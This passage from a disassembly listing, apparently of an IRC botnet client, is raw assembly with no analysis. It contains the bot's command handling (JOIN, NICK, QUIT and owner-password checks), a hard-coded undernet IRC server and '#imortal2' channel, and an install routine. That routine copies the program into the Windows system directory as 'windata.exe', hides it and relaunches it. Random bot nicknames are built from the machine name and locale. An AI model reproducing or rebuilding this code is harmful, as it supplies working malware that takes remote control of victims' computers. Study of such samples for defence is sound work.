sub_40274D+3A64j ; sub_40274D+3A79j push [ebp+esi+4Ch+var_9C] push [ebp+4Ch+var_8] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+4Ch+arg_4] call sub_4011F5 push [ebp+4Ch+var_8] push offset unk_42C8AC loc_409FB1: ; CODE XREF: sub_40274D+6BBAj ; sub_40274D+6C3Dj ... call sub_417DE4 loc_409FB6: ; CODE XREF: sub_40274D+22CAj add esp, 18h jmp loc_404979 ; --------------------------------------------------------------------------- loc_409FBE: ; CODE XREF: sub_40274D+3A3Aj ; sub_40274D+3A4Fj push [ebp+4Ch+var_8] push offset aNickS ; "NICK %s\r\n" push [ebp+4Ch+arg_4] call sub_4011F5 push [ebp+4Ch+var_8] push offset unk_42C888 loc_409FD6: ; CODE XREF: sub_40274D+6CE2j ; sub_40274D+782Cj ... call sub_417DE4 loc_409FDB: ; CODE XREF: sub_40274D+186Fj ; sub_40274D+6D40j add esp, 14h jmp loc_404979 ; --------------------------------------------------------------------------- loc_409FE3: ; CODE XREF: sub_40274D+2F48j ; sub_40274D+2F5Dj push offset aQuitReconnecti ; "QUIT :reconnecting\r\n" push [ebp+4Ch+arg_4] call sub_4011F5 push [ebp+4Ch+var_8] lea eax, [ebp+4Ch+var_2D0] push offset unk_42C864 push eax call sub_41E6A6 lea eax, [ebp+4Ch+var_2D0] push eax call sub_417D70 push [ebp+4Ch+var_8] call sub_41E7AD add esp, 1Ch jmp short loc_40A05B ; --------------------------------------------------------------------------- loc_40A01D: ; CODE XREF: sub_40274D+2F1Ej ; sub_40274D+2F33j push offset aQuitReconnecti ; "QUIT :reconnecting\r\n" push [ebp+4Ch+arg_4] call sub_4011F5 push [ebp+4Ch+var_8] lea eax, [ebp+4Ch+var_2D0] push offset unk_42C83C push eax call sub_41E6A6 lea eax, [ebp+4Ch+var_2D0] push eax call sub_417D70 push [ebp+4Ch+var_8] call sub_41E7AD add esp, 1Ch imul eax, 3E8h loc_40A05B: ; CODE XREF: sub_40274D+78CEj push eax call ds:dword_42B014 ; Sleep jmp loc_404FE6 ; --------------------------------------------------------------------------- loc_40A067: ; CODE XREF: sub_40274D+D65j ; sub_40274D+D7Aj push [ebp+esi+4Ch+var_A0] xor eax, eax cmp [ebp+4Ch+var_8F8], bl setnz al push eax push ds:dword_43C094 lea eax, [ebp+4Ch+var_340] push eax call sub_40AB83 lea eax, [ebp+4Ch+var_340] push eax push offset aNickS ; "NICK %s\r\n" push [ebp+4Ch+arg_4] call sub_4011F5 lea eax, [ebp+4Ch+var_340] push eax push offset unk_42C818 call sub_417DE4 loc_40A0AE: ; CODE XREF: sub_40274D+4FEBj add esp, 24h jmp loc_404979 ; --------------------------------------------------------------------------- loc_40A0B6: ; CODE XREF: sub_40274D+9C9j ; sub_40274D+9DEj mov esi, [ebp+esi+4Ch+var_A0] cmp esi, ebx mov [ebp+4Ch+var_8], esi jz loc_402B92 cmp [ebp+4Ch+var_14], ebx jnz loc_402B92 push offset asc_42FCDC ; "!" push [ebp+4Ch+var_A4] call sub_41E7B2 mov esi, eax push offset dword_42C814 push ebx inc esi call sub_41E7B2 push offset asc_42C810 ; "~" push eax call sub_41E7B2 push [ebp+4Ch+var_8] mov edi, eax push offset aRelax_0 ; "relax" call sub_41E990 add esp, 20h test eax, eax jz short loc_40A14F push edi lea eax, [ebp+4Ch+var_D0] push eax push eax push offset aNoticeSPassAut ; "NOTICE %s :Pass auth failed (%s!%s).\r\n" push [ebp+4Ch+arg_4] call sub_4011F5 lea eax, [ebp+4Ch+var_D0] push eax push offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"... push [ebp+4Ch+arg_4] call sub_4011F5 push edi push esi push offset unk_42C790 loc_40A13B: ; CODE XREF: sub_40274D+7A55j lea eax, [ebp+4Ch+var_2D0] push eax call sub_41E6A6 add esp, 30h jmp loc_408D10 ; --------------------------------------------------------------------------- loc_40A14F: ; CODE XREF: sub_40274D+79BBj mov [ebp+4Ch+arg_0], ebx loc_40A152: ; CODE XREF: sub_40274D+7A22j mov eax, [ebp+4Ch+arg_0] push edi push ds:off_43C164[eax] call sub_40B264 test eax, eax pop ecx pop ecx jnz short loc_40A1A4 add [ebp+4Ch+arg_0], 4 cmp [ebp+4Ch+arg_0], 4 jb short loc_40A152 push edi lea eax, [ebp+4Ch+var_D0] push eax push eax push offset aNoticeSHostAut ; "NOTICE %s :Host Auth failed (%s!%s).\r\n" push [ebp+4Ch+arg_4] call sub_4011F5 lea eax, [ebp+4Ch+var_D0] push eax push offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"... push [ebp+4Ch+arg_4] call sub_4011F5 push edi push esi push offset unk_42C73C jmp short loc_40A13B ; --------------------------------------------------------------------------- loc_40A1A4: ; CODE XREF: sub_40274D+7A18j mov edi, [ebp+4Ch+arg_18] xor esi, esi loc_40A1A9: ; CODE XREF: sub_40274D+7A7Dj cmp [edi], bl jnz short loc_40A1C0 push [ebp+4Ch+var_8] push offset aRelax_0 ; "relax" call sub_41E990 test eax, eax pop ecx pop ecx jz short loc_40A1D1 loc_40A1C0: ; CODE XREF: sub_40274D+7A5Ej inc esi add edi, 80h cmp esi, 3 jl short loc_40A1A9 jmp loc_402B92 ; --------------------------------------------------------------------------- loc_40A1D1: ; CODE XREF: sub_40274D+7A71j push 7Fh lea eax, [ebp+4Ch+var_E38] shl esi, 7 add esi, [ebp+4Ch+arg_18] push eax push esi call sub_41E860 add esp, 0Ch cmp [ebp+4Ch+var_C], ebx jnz short loc_40A205 push ebx push [ebp+4Ch+var_4] push offset unk_42C71C push [ebp+4Ch+var_9C] push [ebp+4Ch+arg_4] call sub_40123B add esp, 14h loc_40A205: ; CODE XREF: sub_40274D+7A9Fj lea eax, [ebp+4Ch+var_D0] push eax push offset unk_42C6FC loc_40A211: ; CODE XREF: sub_40274D+52Fj ; sub_40274D+2699j ... call sub_417DE4 loc_40A216: ; CODE XREF: sub_40274D+19F8j pop ecx loc_40A217: ; CODE XREF: sub_40274D+2338j pop ecx jmp loc_402B92 ; --------------------------------------------------------------------------- loc_40A21D: ; CODE XREF: sub_40274D+1E7j ; sub_40274D+1FCj push [ebp+4Ch+arg_10] push offset aUserhostS ; "USERHOST %s\r\n" push [ebp+4Ch+arg_4] call sub_4011F5 push offset asc_43C13C ; "+x" push [ebp+4Ch+arg_10] push offset aModeSS_0 ; "MODE %s %s\r\n" push [ebp+4Ch+arg_4] call sub_4011F5 push [ebp+4Ch+arg_C] push [ebp+4Ch+arg_8] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+4Ch+arg_4] call sub_4011F5 add esp, 2Ch mov ds:dword_4D1FDC, edi jmp loc_40291B sub_40274D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A263 proc near ; CODE XREF: start-C316Dp var_984 = byte ptr -984h var_880 = byte ptr -880h var_87F = byte ptr -87Fh var_6F0 = byte ptr -6F0h var_5F0 = byte ptr -5F0h var_4EC = byte ptr -4ECh var_3EC = byte ptr -3ECh var_2E8 = byte ptr -2E8h var_1E4 = byte ptr -1E4h var_E0 = dword ptr -0E0h var_D4 = dword ptr -0D4h var_B4 = dword ptr -0B4h var_B0 = word ptr -0B0h var_9C = byte ptr -9Ch var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 984h push ebx xor ebx, ebx push esi push edi mov [ebp+var_8], ebx mov [ebp+var_C], ebx mov [ebp+var_4], offset loc_40110F push [ebp+var_4] push large dword ptr fs:0 mov large fs:0, esp mov esi, ds:dword_42B038 call esi ; GetTickCount xor edx, edx mov ecx, 3E8h div ecx mov ds:dword_4D1FD0, eax call esi ; GetTickCount push eax call sub_41ECD4 pop ecx call sub_4012D6 push 2 call ds:dword_4440D4 ; SetErrorMode push 7530h push offset aIiknc ; "iiKnc" push ebx push ebx call ds:dword_42B058 ; CreateMutexA push eax call ds:dword_42B054 ; WaitForSingleObject cmp eax, 102h jnz short loc_40A2E2 push 1 jmp loc_40A53C ; --------------------------------------------------------------------------- loc_40A2E2: ; CODE XREF: sub_40A263+76j lea eax, [ebp+var_880] push eax push 202h call ds:dword_444110 ; WSAStartup cmp eax, ebx jnz loc_40A7F7 cmp [ebp+var_880], 2 jnz loc_40A7F1 cmp [ebp+var_87F], 2 jnz loc_40A7F1 mov esi, 104h push esi lea eax, [ebp+var_3EC] push eax call ds:dword_42B010 ; GetSystemDirectoryA push esi lea eax, [ebp+var_2E8] push eax push ebx call ds:dword_42B024 ; GetModuleHandleA push eax call ds:dword_42B00C ; GetModuleFileNameA lea eax, [ebp+var_4EC] push eax lea eax, [ebp+var_6F0] push eax push ebx lea eax, [ebp+var_2E8] push ebx push eax call sub_41ED01 lea eax, [ebp+var_4EC] push eax lea eax, [ebp+var_6F0] push eax push offset aSS ; "%s%s" lea eax, [ebp+var_5F0] push esi push eax call sub_41E6FE lea eax, [ebp+var_3EC] push eax lea eax, [ebp+var_2E8] push eax call sub_41F090 add esp, 30h test eax, eax jnz loc_40A542 cmp ds:dword_4D1FD4, ebx mov esi, offset aWindata_exe ; "windata.exe" jz short loc_40A3D7 push esi xor edi, edi call sub_41E1C0 sub eax, 4 pop ecx jz short loc_40A3D7 loc_40A3B4: ; CODE XREF: sub_40A263+172j call sub_41ECDE push 1Ah cdq pop ecx idiv ecx push esi add dl, 61h mov byte ptr ds:aWindata_exe[edi], dl ; "windata.exe" inc edi call sub_41E1C0 sub eax, 4 cmp edi, eax pop ecx jb short loc_40A3B4 loc_40A3D7: ; CODE XREF: sub_40A263+141j ; sub_40A263+14Fj push esi lea eax, [ebp+var_3EC] push eax lea eax, [ebp+var_1E4] push offset aSS_0 ; "%s\\%s" push eax call sub_41E6A6 add esp, 10h lea eax, [ebp+var_1E4] push eax call ds:dword_42B050 ; GetFileAttributesA cmp eax, 0FFFFFFFFh jz short loc_40A417 push 80h lea eax, [ebp+var_1E4] push eax call ds:dword_42B04C ; SetFileAttributesA loc_40A417: ; CODE XREF: sub_40A263+1A0j mov esi, ds:dword_42B048 xor edi, edi jmp short loc_40A443 ; --------------------------------------------------------------------------- loc_40A421: ; CODE XREF: sub_40A263+1F3j call ds:dword_42B01C ; RtlGetLastWin32Error cmp edi, ebx jnz short loc_40A458 cmp eax, 20h jz short loc_40A435 cmp eax, 5 jnz short loc_40A458 loc_40A435: ; CODE XREF: sub_40A263+1CBj xor edi, edi push 3A98h inc edi call ds:dword_42B014 ; Sleep loc_40A443: ; CODE XREF: sub_40A263+1BCj push ebx lea eax, [ebp+var_1E4] push eax lea eax, [ebp+var_2E8] push eax call esi ; CopyFileA test eax, eax jz short loc_40A421 loc_40A458: ; CODE XREF: sub_40A263+1C6j ; sub_40A263+1D0j lea eax, [ebp+var_1E4] push eax call sub_41AE17 pop ecx push 7 lea eax, [ebp+var_1E4] push eax call ds:dword_42B04C ; SetFileAttributesA push 10h lea eax, [ebp+var_1C] push ebx push eax call sub_41E5F0 push 44h pop esi push esi lea eax, [ebp+var_E0] push ebx push eax call sub_41E5F0 mov [ebp+var_E0], esi xor esi, esi inc esi add esp, 18h mov [ebp+var_D4], offset byte_42B633 mov [ebp+var_B4], esi mov [ebp+var_B0], bx call ds:dword_42B044 ; GetCurrentProcessId push eax push esi push 100000h call ds:dword_42B040 ; OpenProcess lea ecx, [ebp+var_2E8] push ecx push eax lea eax, [ebp+var_1E4] push eax lea eax, [ebp+var_984] push offset aSDS ; "%s %d \"%s\"" push eax call sub_41E6A6 add esp, 14h lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_E0] push eax lea eax, [ebp+var_3EC] push eax push ebx push 28h push esi push ebx push ebx lea eax, [ebp+var_984] push eax lea eax, [ebp+var_1E4] push eax call ds:dword_42B008 ; CreateProcessA test eax, eax jz short loc_40A542 push 0C8h call ds:dword_42B014 ; Sleep push [ebp+var_1C] mov esi, ds:dword_42B004 call esi ; CloseHandle push [ebp+var_18] call esi ; CloseHandle call ds:dword_444224 ; WSACleanup push ebx loc_40A53C: ; CODE XREF: sub_40A263+7Aj call ds:dword_42B000 ; ExitProcess loc_40A542: ; CODE XREF: sub_40A263+130j ; sub_40A263+2B5j cmp ds:dword_4E2914, 2 jle short loc_40A58E mov eax, ds:dword_4E2918 push dword ptr [eax+4] call sub_41E7AD pop ecx mov esi, eax push 0FFFFFFFFh push esi call ds:dword_42B054 ; WaitForSingleObject push esi call ds:dword_42B004 ; CloseHandle mov eax, ds:dword_4E2918 cmp [eax+8], ebx jz short loc_40A58E push 7D0h call ds:dword_42B014 ; Sleep mov eax, ds:dword_4E2918 push dword ptr [eax+8] call ds:dword_42B02C ; DeleteFileA loc_40A58E: ; CODE XREF: sub_40A263+2E6j ; sub_40A263+310j cmp ds:dword_43C088, ebx jz short loc_40A5AB cmp ds:dword_444274, ebx jnz short loc_40A5AB lea eax, [ebp+var_5F0] push eax call sub_401000 pop ecx loc_40A5AB: ; CODE XREF: sub_40A263+331j ; sub_40A263+339j lea eax, [ebp+var_9C] push offset dword_42FDAC push eax call sub_41E6A6 push ebx lea eax, [ebp+var_9C] push ebx push eax call sub_40AE85 lea eax, [ebp+var_9C] push eax call sub_417D70 push 0B80h push ebx push offset dword_4D1450 call sub_41E5F0 lea eax, [ebp+var_9C] push offset unk_42FD88 push eax call sub_41E6A6 push ebx lea eax, [ebp+var_9C] push 1 push eax call sub_40AE85 mov edi, ds:dword_42B03C add esp, 38h mov esi, eax lea eax, [ebp+var_8] push eax push ebx push ebx push offset byte_41C76D push ebx push ebx call edi ; CreateThread imul esi, 234h cmp eax, ebx mov ds:dword_4444FC[esi], eax jnz short loc_40A64B call ds:dword_42B01C ; RtlGetLastWin32Error push eax lea eax, [ebp+var_9C] push offset unk_42FD48 push eax call sub_41E6A6 add esp, 0Ch loc_40A64B: ; CODE XREF: sub_40A263+3CBj lea eax, [ebp+var_9C] push eax call sub_417D70 push 2 call sub_40B075 test eax, eax pop ecx pop ecx jnz short loc_40A6D0 lea eax, [ebp+var_9C] push offset dword_42FD1C push eax call sub_41E6A6 push ebx lea eax, [ebp+var_9C] push 2 push eax call sub_40AE85 add esp, 14h mov esi, eax lea eax, [ebp+var_8] push eax push ebx push esi push offset loc_41321D push ebx push ebx call edi ; CreateThread imul esi, 234h cmp eax, ebx mov ds:dword_4444FC[esi], eax jnz short loc_40A6C3 call ds:dword_42B01C ; RtlGetLastWin32Error push eax lea eax, [ebp+var_9C] push offset dword_42FCE8 push eax call sub_41E6A6 add esp, 0Ch loc_40A6C3: ; CODE XREF: sub_40A263+443j lea eax, [ebp+var_9C] push eax call sub_417D70 pop ecx loc_40A6D0: ; CODE XREF: sub_40A263+3FFj call sub_41ECDE push 7Fh and eax, 3 push offset aOslo_no_eu_und ; "oslo.no.eu.undernet.org" push offset dword_4D12EC mov ds:dword_4D1FE0, eax call sub_41E860 mov eax, ds:dword_43C068 push 3Fh push offset aImortal2 ; "#imortal2" mov edi, offset dword_4D136C push edi mov ds:dword_4D143C, eax call sub_41E860 push 3Fh push offset aRelax ; "relax" mov esi, offset dword_4D13AC push esi call sub_41E860 mov ds:dword_4D1440, ebx loc_40A722: ; CODE XREF: sub_40A263+53Aj ; sub_40A263+584j add esp, 24h loc_40A725: ; CODE XREF: sub_40A263+542j mov [ebp+var_4], ebx loc_40A728: ; CODE XREF: sub_40A263+4FBj push offset dword_4D12E8 mov ds:dword_4D1FDC, ebx call sub_4025EF cmp eax, 2 jz loc_40A7EC cmp ds:dword_4D1FDC, ebx jz short loc_40A74C dec [ebp+var_4] loc_40A74C: ; CODE XREF: sub_40A263+4E4j push 0BB8h call ds:dword_42B014 ; Sleep inc [ebp+var_4] cmp [ebp+var_4], 6 jl short loc_40A728 cmp [ebp+var_C], ebx jz short loc_40A79F push 7Fh push offset aOslo_no_eu_und ; "oslo.no.eu.undernet.org" push offset dword_4D12EC call sub_41E860 mov eax, ds:dword_43C068 push 3Fh push offset aImortal2 ; "#imortal2" push edi mov ds:dword_4D143C, eax call sub_41E860 push 3Fh push offset aRelax ; "relax" push esi call sub_41E860 mov [ebp+var_C], ebx jmp short loc_40A722 ; --------------------------------------------------------------------------- loc_40A79F: ; CODE XREF: sub_40A263+500j cmp ds:byte_43C0DC, bl jz loc_40A725 push 7Fh push offset byte_43C0DC push offset dword_4D12EC call sub_41E860 mov eax, ds:dword_43C06C push 3Fh push offset aImortal2_3 ; "#imortal2" push edi mov ds:dword_4D143C, eax call sub_41E860 push 3Fh push offset aRelax_1 ; "relax" push esi call sub_41E860 mov [ebp+var_C], 1 jmp loc_40A722 ; --------------------------------------------------------------------------- loc_40A7EC: ; CODE XREF: sub_40A263+4D8j call sub_40AFF6 loc_40A7F1: ; CODE XREF: sub_40A263+A0j ; sub_40A263+ADj call ds:dword_444224 ; WSACleanup loc_40A7F7: ; CODE XREF: sub_40A263+93j pop edi pop esi xor eax, eax pop ebx leave retn 10h sub_40A263 endp ; =============== S U B R O U T I N E ======================================= sub_40A800 proc near ; CODE XREF: sub_40AB83+4Ap ; DATA XREF: seg002:off_43C4B8o arg_0 = dword ptr 4 push esi push edi call ds:dword_42B038 ; GetTickCount push eax call sub_41ECD4 call sub_41ECDE xor edx, edx mov ecx, 48Fh div ecx mov edi, [esp+0Ch+arg_0] push ds:off_43C520[edx*4] push offset aS ; "%s" push 1Ch push edi call sub_41E6FE xor esi, esi add esp, 14h cmp ds:dword_43C090, esi jle short loc_40A867 loc_40A841: ; CODE XREF: sub_40A800+65j call sub_41ECDE push 0Ah pop ecx cdq idiv ecx push edx push edi push offset aSI ; "%s%i" push 1Ch push edi call sub_41E6FE add esp, 14h inc esi cmp esi, ds:dword_43C090 jl short loc_40A841 loc_40A867: ; CODE XREF: sub_40A800+3Fj mov eax, edi pop edi pop esi retn sub_40A800 endp ; --------------------------------------------------------------------------- dword_40A86C dd 15FF5756h, 42B038h, 445AE850h, 7C8B0001h, 4C71024h dd 43C12C24h, 0B6406800h, 1C6A0042h, 3E6CE857h, 0F6330001h dd 3910C483h, 43C09035h, 0E8267E00h, 1443Ah, 99590A6Ah dd 5752F9F7h, 42E72468h, 571C6A00h, 13E45E8h, 14C48300h dd 90353B46h, 7C0043C0h, 5FC78BDAh db 5Eh, 0C3h ; =============== S U B R O U T I N E ======================================= sub_40A8CA proc near ; CODE XREF: sub_40274D+66B8p arg_0 = dword ptr 4 push ebx push esi push edi call ds:dword_42B038 ; GetTickCount push eax call sub_41ECD4 pop ecx call sub_41ECDE push 3 cdq pop ecx idiv ecx mov ebx, [esp+0Ch+arg_0] xor edi, edi mov esi, edx add esi, ds:dword_43C090 test esi, esi jle short loc_40A90D loc_40A8F7: ; CODE XREF: sub_40A8CA+41j call sub_41ECDE push 1Ah cdq pop ecx idiv ecx add dl, 61h mov [edi+ebx], dl inc edi cmp edi, esi jl short loc_40A8F7 loc_40A90D: ; CODE XREF: sub_40A8CA+2Bj mov byte ptr [edi+ebx], 0 pop edi pop esi mov eax, ebx pop ebx retn sub_40A8CA endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push esi push edi mov dword ptr [ebp-4], 100h call ds:dword_42B038 ; GetTickCount push eax call sub_41ECD4 pop ecx lea eax, [ebp-4] push eax mov esi, offset aPc ; "PC" push esi call ds:dword_42B05C ; GetComputerNameA mov edi, [ebp+8] push esi push 1Ch push edi call sub_41E6FE xor esi, esi add esp, 0Ch cmp ds:dword_43C090, esi jle short loc_40A980 loc_40A95A: ; CODE XREF: seg000:0040A97Ej call sub_41ECDE push 0Ah pop ecx cdq idiv ecx push edx push edi push offset aSI ; "%s%i" push 1Ch push edi call sub_41E6FE add esp, 14h inc esi cmp esi, ds:dword_43C090 jl short loc_40A95A loc_40A980: ; CODE XREF: seg000:0040A958j mov eax, edi pop edi pop esi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 0Ch push esi push edi call ds:dword_42B038 ; GetTickCount push eax call sub_41ECD4 pop ecx push 0Ah lea eax, [ebp-0Ch] push eax push 7 push 800h call ds:dword_42B060 ; GetLocaleInfoA mov edi, [ebp+8] lea eax, [ebp-0Ch] push eax push offset aS_6 ; "%s|" push 1Ch push edi call sub_41E6FE xor esi, esi add esp, 10h cmp ds:dword_43C090, esi jle short loc_40A9F5 loc_40A9CF: ; CODE XREF: seg000:0040A9F3j call sub_41ECDE push 0Ah pop ecx cdq idiv ecx push edx push edi push offset aSI ; "%s%i" push 1Ch push edi call sub_41E6FE add esp, 14h inc esi cmp esi, ds:dword_43C090 jl short loc_40A9CF loc_40A9F5: ; CODE XREF: seg000:0040A9CDj mov eax, edi pop edi pop esi leave retn ; --------------------------------------------------------------------------- aUnlMbF db 'Ul$Œì”',0 dd 57560000h, 50E0458Dh, 42B633BEh, 0E045C700h, 94h, 0B06415FFh dd 15FF0042h, 42B038h, 42AAE850h, 7D830001h, 755904E4h dd 0E87D8338h, 83187500h, 7501F07Dh, 282CBE05h, 7D830043h dd 517502F0h, 432828BEh, 834AEB00h, 750AE87Dh, 2824BE07h dd 3DEB0043h, 5AE87D83h, 20BE3275h, 0EB004328h, 0E47D8330h dd 83257505h, 7500E87Dh, 281CBE07h, 1DEB0043h, 1E87D83h dd 18BE0775h, 0EB004328h, 0E87D8310h, 2814BE02h, 5740043h dd 432810BEh, 7C7D8B00h, 28086856h, 1C6A0043h, 3C54E857h dd 0F6330001h, 3910C483h, 43C09035h, 0E8267E00h, 14222h dd 99590A6Ah, 5752F9F7h, 42E72468h, 571C6A00h, 13C2DE8h dd 14C48300h, 90353B46h, 7C0043C0h, 5FC78BDAh, 74C5835Eh db 0C9h, 0C3h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AAE6 proc near ; CODE XREF: sub_40AB83+5Dp var_1C = byte ptr -1Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1Ch push esi call ds:dword_42B038 ; GetTickCount xor edx, edx mov ecx, 5265C00h div ecx push 0 push offset aMirc_0 ; "mIRC" mov esi, eax call ds:dword_444160 ; FindWindowA cmp esi, 64h jbe short loc_40AB35 test eax, eax mov eax, offset aM ; "[M]" jnz short loc_40AB1E mov eax, offset byte_42B633 loc_40AB1E: ; CODE XREF: sub_40AAE6+31j push eax push esi push offset aDS ; "[%d]%s" lea eax, [ebp+var_1C] push 1Ch push eax call sub_41E6FE add esp, 14h jmp short loc_40AB4F ; --------------------------------------------------------------------------- loc_40AB35: ; CODE XREF: sub_40AAE6+28j test eax, eax mov eax, offset aM ; "[M]" jnz short loc_40AB43 mov eax, offset byte_42B633 loc_40AB43: ; CODE XREF: sub_40AAE6+56j push eax lea eax, [ebp+var_1C] push eax call sub_41E6A6 pop ecx pop ecx loc_40AB4F: ; CODE XREF: sub_40AAE6+4Dj lea eax, [ebp+var_1C] push eax call sub_41E1C0 cmp eax, 2 pop ecx pop esi jbe short loc_40AB7E push 1Ch push [ebp+arg_0] lea eax, [ebp+var_1C] push eax call sub_41F2C0 push 1Ch lea eax, [ebp+var_1C] push eax push [ebp+arg_0] call sub_41E860 add esp, 18h loc_40AB7E: ; CODE XREF: sub_40AAE6+77j mov eax, [ebp+arg_0] leave retn sub_40AAE6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AB83 proc near ; CODE XREF: sub_402472+52p ; sub_4025EF+4Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push esi push edi xor edi, edi xor esi, esi loc_40AB8C: ; CODE XREF: sub_40AB83+40j cmp [ebp+arg_C], 0 jz short loc_40ABAA lea eax, dword_43C4A8[esi] push eax push [ebp+arg_C] call sub_41E990 neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_40ABB8 ; --------------------------------------------------------------------------- loc_40ABAA: ; CODE XREF: sub_40AB83+Dj mov ecx, ds:dword_43C4B4[esi] xor eax, eax cmp ecx, [ebp+arg_4] setz al loc_40ABB8: ; CODE XREF: sub_40AB83+25j test eax, eax jnz short loc_40ABC7 add esi, 14h inc edi cmp esi, 78h jb short loc_40AB8C jmp short loc_40ABD5 ; --------------------------------------------------------------------------- loc_40ABC7: ; CODE XREF: sub_40AB83+37j push [ebp+arg_0] lea eax, [edi+edi*4] call ds:off_43C4B8[eax*4] pop ecx loc_40ABD5: ; CODE XREF: sub_40AB83+42j cmp [ebp+arg_8], 0 pop edi pop esi jz short loc_40ABE8 push [ebp+arg_0] call sub_40AAE6 pop ecx pop ebp retn ; --------------------------------------------------------------------------- loc_40ABE8: ; CODE XREF: sub_40AB83+58j mov eax, [ebp+arg_0] pop ebp retn sub_40AB83 endp ; =============== S U B R O U T I N E ======================================= sub_40ABED proc near ; CODE XREF: sub_40AC0D+Ap ; sub_40AE01+8p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_41E1C0 push [esp+8+arg_4] mov esi, eax call sub_41E1C0 pop ecx pop ecx lea eax, [esi+eax*2+0C1h] pop esi retn sub_40ABED endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AC0D proc near ; CODE XREF: sub_40AE18+49p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push [ebp+arg_C] push [ebp+arg_8] call sub_40ABED cmp eax, [ebp+arg_4] pop ecx pop ecx mov [ebp+var_4], eax jbe short loc_40AC2A xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_40AC2A: ; CODE XREF: sub_40AC0D+17j push ebx push esi push edi push [ebp+arg_8] call sub_41E1C0 push [ebp+arg_C] mov esi, eax call sub_41E1C0 mov ebx, [ebp+arg_0] mov edi, eax lea eax, [edi+esi+12h] mov ds:dword_43D7F4, eax lea eax, [edi+1] mov ds:dword_43D815, eax push 0FFFFFFEDh lea eax, [edi+17h] mov ds:dword_43D80D, eax pop eax push 74h sub eax, edi push offset dword_43D790 push ebx mov ds:dword_43D823, eax call sub_41F400 push esi push [ebp+arg_8] lea eax, [ebx+74h] push eax call sub_41F400 push 5 add esi, 74h lea eax, [esi+ebx] push offset aGet ; " get " push eax call sub_41F400 push edi push [ebp+arg_C] add esi, 5 lea eax, [esi+ebx] push eax call sub_41F400 push 10h add esi, edi lea eax, [esi+ebx] push 43D809h push eax call sub_41F400 add esp, 44h push edi push [ebp+arg_C] add esi, 10h lea eax, [esi+ebx] push eax call sub_41F400 push 38h add esi, edi push offset byte_43D819 add esi, ebx push esi call sub_41F400 mov eax, [ebp+var_4] add esp, 18h pop edi pop esi pop ebx leave retn sub_40AC0D endp ; =============== S U B R O U T I N E ======================================= sub_40ACE5 proc near ; CODE XREF: sub_40AD00+47p ; sub_40AE01+Ep arg_0 = dword ptr 4 mov ecx, [esp+arg_0] test cl, cl jnz short loc_40ACEE inc ecx loc_40ACEE: ; CODE XREF: sub_40ACE5+6j mov eax, 0FFh cmp eax, ecx sbb eax, eax and eax, 2 add eax, 15h add eax, ecx retn sub_40ACE5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AD00 proc near ; CODE XREF: sub_40AE18+56p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx mov edx, [ebp+arg_C] cmp dl, 0Ah jz short loc_40AD1A cmp dl, 0Dh jz short loc_40AD1A cmp dl, 5Ch jz short loc_40AD1A test dl, dl jnz short loc_40AD1E loc_40AD1A: ; CODE XREF: sub_40AD00+Aj ; sub_40AD00+Fj ... inc edx mov [ebp+arg_C], edx loc_40AD1E: ; CODE XREF: sub_40AD00+18j push esi mov esi, 0FFh cmp edx, esi jbe short loc_40AD46 mov eax, edx shr eax, 8 cmp al, 0Ah jz short loc_40AD3D cmp al, 0Dh jz short loc_40AD3D cmp al, 5Ch jz short loc_40AD3D test al, al jnz short loc_40AD46 loc_40AD3D: ; CODE XREF: sub_40AD00+2Fj ; sub_40AD00+33j ... add edx, 100h mov [ebp+arg_C], edx loc_40AD46: ; CODE XREF: sub_40AD00+26j ; sub_40AD00+3Bj push edx call sub_40ACE5 cmp eax, [ebp+arg_4] pop ecx mov [ebp+var_4], eax ja short loc_40AD5C cmp eax, 0FFFFh jbe short loc_40AD63 loc_40AD5C: ; CODE XREF: sub_40AD00+53j xor eax, eax jmp loc_40ADFE ; --------------------------------------------------------------------------- loc_40AD63: ; CODE XREF: sub_40AD00+5Aj push ebx mov bl, ds:byte_4D1FE8 xor ecx, ecx test edx, edx push edi mov edi, [ebp+arg_8] jbe short loc_40AD90 loc_40AD74: ; CODE XREF: sub_40AD00+8Ej mov al, [ecx+edi] xor al, bl jz short loc_40AD87 cmp al, 0Ah jz short loc_40AD87 cmp al, 0Dh jz short loc_40AD87 cmp al, 5Ch jnz short loc_40AD8B loc_40AD87: ; CODE XREF: sub_40AD00+79j ; sub_40AD00+7Dj ... inc bl xor ecx, ecx loc_40AD8B: ; CODE XREF: sub_40AD00+85j inc ecx cmp ecx, edx jb short loc_40AD74 loc_40AD90: ; CODE XREF: sub_40AD00+72j cmp edx, esi mov ds:byte_4D1FE8, bl ja short loc_40ADBC push 15h push offset dword_43D778 push [ebp+arg_0] mov ds:byte_43D785, dl mov ds:byte_43D789, bl call sub_41F400 add esp, 0Ch push 15h jmp short loc_40ADDD ; --------------------------------------------------------------------------- loc_40ADBC: ; CODE XREF: sub_40AD00+98j push 17h push offset dword_43D760 push [ebp+arg_0] mov ds:word_43D76E, dx mov ds:byte_43D773, bl call sub_41F400 add esp, 0Ch push 17h 